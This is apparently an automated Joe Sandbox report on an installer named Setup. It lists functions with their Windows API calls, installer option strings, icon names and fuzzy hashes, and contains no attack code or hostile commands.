Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ErrorLast$FormatFreeH_prolog3LocalMessage
String ID:
API String ID: 69132360-0
Opcode ID: 695db9bddde587e62958a90f4067b3cf19ef87ef52e9ec2be88e5c7a6d84662b
Instruction ID: aa2aff5e8836b40531b1732cdb618900b05c3ba8efb0996820ad288bdb9c9bf3
Opcode Fuzzy Hash: 695db9bddde587e62958a90f4067b3cf19ef87ef52e9ec2be88e5c7a6d84662b
Instruction Fuzzy Hash: ACF0F931804259EFDF10BFA6CD44DAFBF79FFA6B45F00401AA510A60A1CB718921DF61

Function 639687C1 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6396AEFE
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6396AF13
UnhandledExceptionFilter.KERNEL32(63941540), ref: 6396AF1E
GetCurrentProcess.KERNEL32(C0000409), ref: 6396AF3A
TerminateProcess.KERNEL32(00000000), ref: 6396AF41

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 6c206577d15600410268c7b041ff2451586976b99d6768ecade77c791a995895
Instruction ID: 86f8facd7d03ba7673dd61b47e1791eba2b0d633f49bca73d05b0ff387387624
Opcode Fuzzy Hash: 6c206577d15600410268c7b041ff2451586976b99d6768ecade77c791a995895
Instruction Fuzzy Hash: 1F21CEB888A3049FDB05FF65D4686443BF4FB8B305F10581AE8898B342E7B196808F55

Function 6394EFE2 Relevance: 7.5, APIs: 5, Instructions: 49processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 6394EFFE
_memset.LIBCMT ref: 6394F018
Process32FirstW.KERNEL32(00000000,?), ref: 6394F032
Process32NextW.KERNEL32(00000000,0000022C), ref: 6394F04D
CloseHandle.KERNEL32(00000000), ref: 6394F061

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memset
String ID:
API String ID: 2526126748-0
Opcode ID: 61abf4132bedaa628240f7036c0f0ca82ecf2d71bbb79c69b1d9a5df6909e42b
Instruction ID: cec45905bc4244fdd566009adfac992c28238ab20b1f768f0369d24d12117d31
Opcode Fuzzy Hash: 61abf4132bedaa628240f7036c0f0ca82ecf2d71bbb79c69b1d9a5df6909e42b
Instruction Fuzzy Hash: 3901CC31902028AFDB10EB65D88CEAE7BB8EB87B58F400195E816D7181CB70DA45CEA1

Function 6C5D171F Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6C5EA4E6
UnhandledExceptionFilter.KERNEL32(6C5EA50C), ref: 6C5EA4F1
GetCurrentProcess.KERNEL32(C0000409), ref: 6C5EA4FC
TerminateProcess.KERNEL32(00000000), ref: 6C5EA503

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: bf4f98b3e34cd31425ead02703af0e1b73b2d33b92f2d4979a0f34c70456a9d1
Instruction ID: ef7575115a552d2cb967b642780551603d10ff0b9fb7b3ec90fa40374710301e
Opcode Fuzzy Hash: bf4f98b3e34cd31425ead02703af0e1b73b2d33b92f2d4979a0f34c70456a9d1
Instruction Fuzzy Hash: E121BFB4A063859FCF49EF19EC85A457BB4BB8A324B9A811BE429C3350E7709540CF2C

Function 63967A10 Relevance: 4.5, APIs: 3, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

LoadResource.KERNEL32(?,?,?,?,6395F053,?,00000000,?,6395F018,00000000,?,00000000,?,?), ref: 63967A1E
LockResource.KERNEL32(00000000,63982F8C,?,6395F053,?,00000000,?,6395F018,00000000,?,00000000,?,?), ref: 63967A2A
SizeofResource.KERNEL32(?,?,?,6395F053,?,00000000,?,6395F018,00000000,?,00000000,?,?), ref: 63967A3C

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: 4d8f0885f354786ceea67ec516483c9618f79375ef121717b049c5ddde898f72
Instruction ID: 19fa1bc634891cd215b94a060bca40e43102cee11e4d064529ef59b7fa522ee1
Opcode Fuzzy Hash: 4d8f0885f354786ceea67ec516483c9618f79375ef121717b049c5ddde898f72
Instruction Fuzzy Hash: DFF0F633211016ABBF112B2ACC048797BAAEBC3BA13098426F818D6100E732C670DEA0

Function 6C5EDE44 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74b5f1cc7ec8c357c34dc84f79a000ff659a75e498c54a868e1ae8fc38274e75
Instruction ID: 955c80c0af15451080ba75e3d557239c266114de0625dc4045f582fd4f1097e7
Opcode Fuzzy Hash: 74b5f1cc7ec8c357c34dc84f79a000ff659a75e498c54a868e1ae8fc38274e75
Instruction Fuzzy Hash: 37F054345093468FC7018B34885585AFBB19F8B16470595978446CF962D534EC898755

Function 6394BE03 Relevance: 31.7, APIs: 1, Strings: 17, Instructions: 220COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394BE0A

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6395F35E: __EH_prolog3.LIBCMT ref: 6395F365
Part of subcall function 6395F35E: __recalloc.LIBCMT ref: 6395F3A7

Strings

createlayout, xrefs: 6394BE9D
promptrestart, xrefs: 6394BFE5
serialdownload, xrefs: 6394C060
parameterfolder, xrefs: 6394C0B2
lcid, xrefs: 6394BEC6
msioptions, xrefs: 6394BF18
NoSetupVersionCheck, xrefs: 6394C0DB
uninstallpatch, xrefs: 6394C104
chainingpackage, xrefs: 6394BE74
pipe, xrefs: 6394BFBC
norestart, xrefs: 6394BF41
showfinalerror, xrefs: 6394BF93
repair, xrefs: 6394C037
uninstall, xrefs: 6394C089
log, xrefs: 6394BEEF
CEIPconsent, xrefs: 6394BE4B
passive, xrefs: 6394BF6A

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$__recalloc
String ID: CEIPconsent$NoSetupVersionCheck$chainingpackage$createlayout$lcid$log$msioptions$norestart$parameterfolder$passive$pipe$promptrestart$repair$serialdownload$showfinalerror$uninstall$uninstallpatch
API String ID: 1900422986-634121796
Opcode ID: 526fd40aa0519b7680617d8f43f02707d097a82e2ee930527c1e83e1d648515f
Instruction ID: ddd03d7fe401b907ac51995177a55f6d7a821ca84f2ab2d568a5fcd620da7379
Opcode Fuzzy Hash: 526fd40aa0519b7680617d8f43f02707d097a82e2ee930527c1e83e1d648515f
Instruction Fuzzy Hash: 05A117B180535DDBEB11D7F8C9806EDB7B4AF2672CF184588E024A3282D775D6989F32

Function 6395D149 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 114windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395D150

Part of subcall function 6394C419: __EH_prolog3.LIBCMT ref: 6394C420
Part of subcall function 6394C419: GetModuleFileNameW.KERNEL32(63940000,00000010,00000104), ref: 6394C46D

Part of subcall function 6395F21D: PathAppendW.SHLWAPI(00000000,00000000,?,00000105,?,?,80070057,80070057,6394C3AE), ref: 6395F241

LoadImageW.USER32(00000000,?,00000001,00000020,00000020,00000010), ref: 6395D198
SendMessageW.USER32(?,00000080,00000001,00000000), ref: 6395D1AF
LoadImageW.USER32(00000000,?,00000001,00000020,00000020,00000010), ref: 6395D1E4
GetDlgItem.USER32(?,00000068), ref: 6395D1F5
SendMessageW.USER32(00000000,00000170,?,00000000), ref: 6395D209
LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 6395D231
GetDlgItem.USER32(?,00000069), ref: 6395D242
SendMessageW.USER32(00000000,000000F7,00000001,?), ref: 6395D256
LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 6395D27E
GetDlgItem.USER32(?,0000006A), ref: 6395D28F
SendMessageW.USER32(00000000,000000F7,00000001,?), ref: 6395D2A3

Strings

save.ico, xrefs: 6395D264
stop.ico, xrefs: 6395D1C4
graphics\setup.ico, xrefs: 6395D177
print.ico, xrefs: 6395D217
warn.ico, xrefs: 6395D1CB, 6395D1D0

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ImageLoadMessageSend$Item$H_prolog3$AppendFileModuleNamePath
String ID: graphics\setup.ico$print.ico$save.ico$stop.ico$warn.ico
API String ID: 1194837009-3827646805
Opcode ID: 6fb6e422a4a0a88f874a09be866ae824d3216167440ac1c935d55fa3a2677ed6
Instruction ID: a97210b1cd7547406ec8915121c286c02e6691980646e38f1dfce2bccf25f707
Opcode Fuzzy Hash: 6fb6e422a4a0a88f874a09be866ae824d3216167440ac1c935d55fa3a2677ed6
Instruction Fuzzy Hash: 59413E7564470AAFEF20ABA0CC46FAA77A9BF05F14F000815F266AA1D1DBB1E4609F10

Function 6395A80E Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 201windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395A815
GetDlgItem.USER32(?,00000065), ref: 6395A87D
SetWindowTextW.USER32(00000000,?), ref: 6395A885
GetDlgItem.USER32(?,00000069), ref: 6395A8AD
SetWindowTextW.USER32(00000000,?), ref: 6395A8B5
PostMessageW.USER32(?,00000691,80004005,00000000), ref: 6395A8E9
PostMessageW.USER32(?,00000691,77777777,00000000), ref: 6395A944
GetParent.USER32(00000002), ref: 6395A9F5
GetParent.USER32(00000002), ref: 6395AA0B
SetWindowLongW.USER32(00000002,000000F4,0000006A), ref: 6395AA35
GetParent.USER32(00000002), ref: 6395AA40
SetWindowTextW.USER32(00000000,?), ref: 6395AA48
PostMessageW.USER32(00000002,000006F5,00000000,00000000), ref: 6395AA59

Strings

All buttons hidden in passive mode, xrefs: 6395AA23
wwww, xrefs: 6395A932

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$MessageParentPostText$Item$H_prolog3Long
String ID: All buttons hidden in passive mode$wwww
API String ID: 3938074132-3958308462
Opcode ID: 6addeff4260855a9b05cd14a5bbbf60fd32c78ff78280ddeaf6710b09bd9484c
Instruction ID: 667f0c8e95ac36903b3fffb25b96dc0b67f6f440eabae4af1b9c11d4a9a11ecb
Opcode Fuzzy Hash: 6addeff4260855a9b05cd14a5bbbf60fd32c78ff78280ddeaf6710b09bd9484c
Instruction Fuzzy Hash: 99817D75600606DFDB04EFA4C888A9DBBB5FF0AB18F140558F655AB2A1CB31EC25CF91

Function 6C5E66A1 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 174fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,80000080,00000000), ref: 6C5E672A
GetLastError.KERNEL32 ref: 6C5E6738

Part of subcall function 6C5E5F11: EtwTraceMessage.NTDLL ref: 6C5E5F26

CreateFileMappingW.KERNEL32(00000000,00000000,00000004,00000000,00000078,00000000), ref: 6C5E677E
GetLastError.KERNEL32 ref: 6C5E678B

Part of subcall function 6C5E99F8: EtwTraceMessage.NTDLL ref: 6C5E9A13

MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000078), ref: 6C5E67CC
GetLastError.KERNEL32 ref: 6C5E67D8
UnmapViewOfFile.KERNEL32(00000000), ref: 6C5E68A7
CloseHandle.KERNEL32(?), ref: 6C5E68BB
CloseHandle.KERNEL32(?), ref: 6C5E68C0
SetLastError.KERNEL32(00000000), ref: 6C5E68C4

Strings

MSQM, xrefs: 6C5E6806

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleMessageTraceView$MappingUnmap
String ID: MSQM
API String ID: 3767376415-2366479917
Opcode ID: f980144b8ec9b65ebcfcecfa98fb79c246e0b6ed976cf8004bb4c98fd6dd2b24
Instruction ID: 4c7db412a4fa23db955ad5a41fcd75cb358d049da76e8b1a4b9463647d73ec75
Opcode Fuzzy Hash: f980144b8ec9b65ebcfcecfa98fb79c246e0b6ed976cf8004bb4c98fd6dd2b24
Instruction Fuzzy Hash: 7C513331604348AFDB449F62CC94F8E3BF9BB49388F550465FA21DA9A1CB70D8858F14

Function 6394E153 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 6394E179
GetParent.USER32 ref: 6394E18B
GetWindow.USER32(?,00000004), ref: 6394E197
GetWindowRect.USER32(?,?), ref: 6394E1A5
GetWindowLongW.USER32(?,000000F0), ref: 6394E1BB
MonitorFromWindow.USER32(?,00000002), ref: 6394E1DA
GetMonitorInfoW.USER32(00000000,?), ref: 6394E1F7
GetWindowRect.USER32(?,?), ref: 6394E220
SetWindowPos.USER32(?,00000000,?,?,000000FF,000000FF,00000015,?,00000000,?,00000002,?,?,?,?,?), ref: 6394E2C7

Strings

(, xrefs: 6394E1F0

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$LongMonitorRect$FromInfoParent
String ID: (
API String ID: 1468510684-3887548279
Opcode ID: 7cea98c33b06495dcb08f262fa224e50f8a8109ca1092eaaf8d6bb2efd3fe0ff
Instruction ID: 5be0f7bfb7d27671c9edf6757f76480b05188e4ab8c2d75c305af79aaaf5d4a6
Opcode Fuzzy Hash: 7cea98c33b06495dcb08f262fa224e50f8a8109ca1092eaaf8d6bb2efd3fe0ff
Instruction Fuzzy Hash: CD516D71A0421A9FDB10DFA8CD88A9EBBB9EF4A754F141124F901F7296E760ED04CF50

Function 6C5DD937 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 394COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6C5DDA74
GetTickCount.KERNEL32 ref: 6C5DDA8F
GlobalFree.KERNEL32(?), ref: 6C5DDB44
ImpersonateLoggedOnUser.ADVAPI32(?,0000004C,6C5DC228,?,?,00000001,?,?,00000000,?,?,?,00000000), ref: 6C5E2A06
GetLastError.KERNEL32(?,?,?,00000000), ref: 6C5E2A10
RevertToSelf.ADVAPI32(?,?,?,00000000), ref: 6C5E2CBB

Strings

http%s://%s/%s, xrefs: 6C5DDA40

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CountTick$ErrorFreeGlobalImpersonateLastLoggedRevertSelfUser
String ID: http%s://%s/%s
API String ID: 1105026337-335662767
Opcode ID: 458f46670aa01c1132a9bb050dd685857329ae0a79a01c809fd81db90ce44ee6
Instruction ID: b0335586ce7c16906a7fd4a7060f9383c652a330761e67f671035ed54465923b
Opcode Fuzzy Hash: 458f46670aa01c1132a9bb050dd685857329ae0a79a01c809fd81db90ce44ee6
Instruction Fuzzy Hash: 7DE1C170A0134ADBDB05DF98CC84F9E7BB8FB89708F16405AE9109BA64C770E844CF64

Function 6C5DC069 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 368COMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,0000003C), ref: 6C5DC165
ResetEvent.KERNEL32(?), ref: 6C5DC16E

Strings

MSDW, xrefs: 6C5DC0F2

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: EventReset
String ID: MSDW
API String ID: 2632953641-1205502275
Opcode ID: 2554c19b85bb72fd43a3c7f986337ebc4d9689e83c8e34dd733ef83465013a43
Instruction ID: 79cff1b1dc16b0990956b301da721d9bac436a17eea8a909f90b3f4afd563762
Opcode Fuzzy Hash: 2554c19b85bb72fd43a3c7f986337ebc4d9689e83c8e34dd733ef83465013a43
Instruction Fuzzy Hash: 1DD1B170641344EFDB01EFA9CC84FAA3BB9BB08708F26051AF556D6AA1D771E844CF18

Function 639502E2 Relevance: 21.2, APIs: 14, Instructions: 184windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000065), ref: 639502F9

Part of subcall function 6394EDAE: SetWindowTextW.USER32(?,?), ref: 6394EDC5

GetDlgItem.USER32(?,00000066), ref: 6395030A
GetDlgItem.USER32(?,00000069), ref: 6395031E
ShowWindow.USER32(?,00000000), ref: 6395033A
SendMessageW.USER32(?,000000F5,00000000,00000000), ref: 63950382
SetWindowTextW.USER32(?,00000000), ref: 639503B6
GetDlgItem.USER32(?,00000065), ref: 639503C1
EnableWindow.USER32(?,00000000), ref: 639503EB
SetWindowTextW.USER32(?,00000000), ref: 63950409
GetDlgItem.USER32(?,00000066), ref: 63950414
EnableWindow.USER32(?,00000000), ref: 6395043E
SetDlgItemTextW.USER32(?,00000069,00000000), ref: 63950462
GetWindowLongW.USER32(?,000000F0), ref: 6395048B
SetWindowLongW.USER32(?,000000F0,00000000), ref: 6395049A

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$Item$Text$EnableLong$MessageSendShow
String ID:
API String ID: 3359463025-0
Opcode ID: a2fb37a4e05d7b4effab5ee1fcfd4b1066fb040a9e30427b78ee5cd402ba42e9
Instruction ID: 66717a9d0d91457cbb02056bab106e9c2e3bcce41259910090dd2fe28210f687
Opcode Fuzzy Hash: a2fb37a4e05d7b4effab5ee1fcfd4b1066fb040a9e30427b78ee5cd402ba42e9
Instruction Fuzzy Hash: 4D613739600600AFDB14EF64C888F99BBF6BF8A714F1045A8F656DB3A1DB71A954CF00

Function 6395D353 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 163windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 6395D38D

Part of subcall function 6394E153: GetWindowLongW.USER32(?,000000F0), ref: 6394E179
Part of subcall function 6394E153: GetParent.USER32 ref: 6394E18B
Part of subcall function 6394E153: GetWindowRect.USER32(?,?), ref: 6394E1A5
Part of subcall function 6394E153: GetWindowLongW.USER32(?,000000F0), ref: 6394E1BB
Part of subcall function 6394E153: MonitorFromWindow.USER32(?,00000002), ref: 6394E1DA

SetWindowTextW.USER32(?,?), ref: 6395D3A3

Part of subcall function 6395D149: __EH_prolog3.LIBCMT ref: 6395D150
Part of subcall function 6395D149: LoadImageW.USER32(00000000,?,00000001,00000020,00000020,00000010), ref: 6395D198
Part of subcall function 6395D149: SendMessageW.USER32(?,00000080,00000001,00000000), ref: 6395D1AF
Part of subcall function 6395D149: LoadImageW.USER32(00000000,?,00000001,00000020,00000020,00000010), ref: 6395D1E4
Part of subcall function 6395D149: GetDlgItem.USER32(?,00000068), ref: 6395D1F5
Part of subcall function 6395D149: SendMessageW.USER32(00000000,00000170,?,00000000), ref: 6395D209
Part of subcall function 6395D149: LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 6395D231
Part of subcall function 6395D149: GetDlgItem.USER32(?,00000069), ref: 6395D242
Part of subcall function 6395D149: SendMessageW.USER32(00000000,000000F7,00000001,?), ref: 6395D256
Part of subcall function 6395D149: LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 6395D27E

Part of subcall function 6395D073: __EH_prolog3.LIBCMT ref: 6395D07A
Part of subcall function 6395D073: SetDlgItemTextW.USER32(?,00000065,?), ref: 6395D130

GetDlgItem.USER32(?,00000066), ref: 6395D3B9

Part of subcall function 63950B11: SetWindowLongW.USER32(?,000000FC,?), ref: 63950B2D

SendMessageW.USER32(?,00000445,00000000,04000000), ref: 6395D3E4

Part of subcall function 6395D86C: _memset.LIBCMT ref: 6395D8B6
Part of subcall function 6395D86C: SendMessageW.USER32(?,0000043A,00000001,?), ref: 6395D8D9

SendMessageW.USER32(?,000000CF,00000001,00000000), ref: 6395D3FC

Part of subcall function 6395CFA5: __EH_prolog3.LIBCMT ref: 6395CFAC
Part of subcall function 6395CFA5: GetDlgItem.USER32(?,00000067), ref: 6395D018
Part of subcall function 6395CFA5: SetWindowLongW.USER32(?,000000FC,?), ref: 6395D041
Part of subcall function 6395CFA5: SetDlgItemTextW.USER32(?,00000067,?), ref: 6395D05A

Part of subcall function 6395D2BF: __EH_prolog3.LIBCMT ref: 6395D2C6
Part of subcall function 6395D2BF: SetDlgItemTextW.USER32(?,0000000B,00000000), ref: 6395D2FC
Part of subcall function 6395D2BF: SetDlgItemTextW.USER32(?,00000008,00000000), ref: 6395D33B

GetDlgItem.USER32(?,0000000B), ref: 6395D424
EnableWindow.USER32(00000000,00000000), ref: 6395D42D
GetDlgItem.USER32(?,00000069), ref: 6395D482
GetDlgItem.USER32(?,0000006A), ref: 6395D4D5
PostMessageW.USER32(?,000006F5,00000000,00000000), ref: 6395D53E

Strings

IDS_PRINT, xrefs: 6395D44D
IDS_SAVE, xrefs: 6395D4A7

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
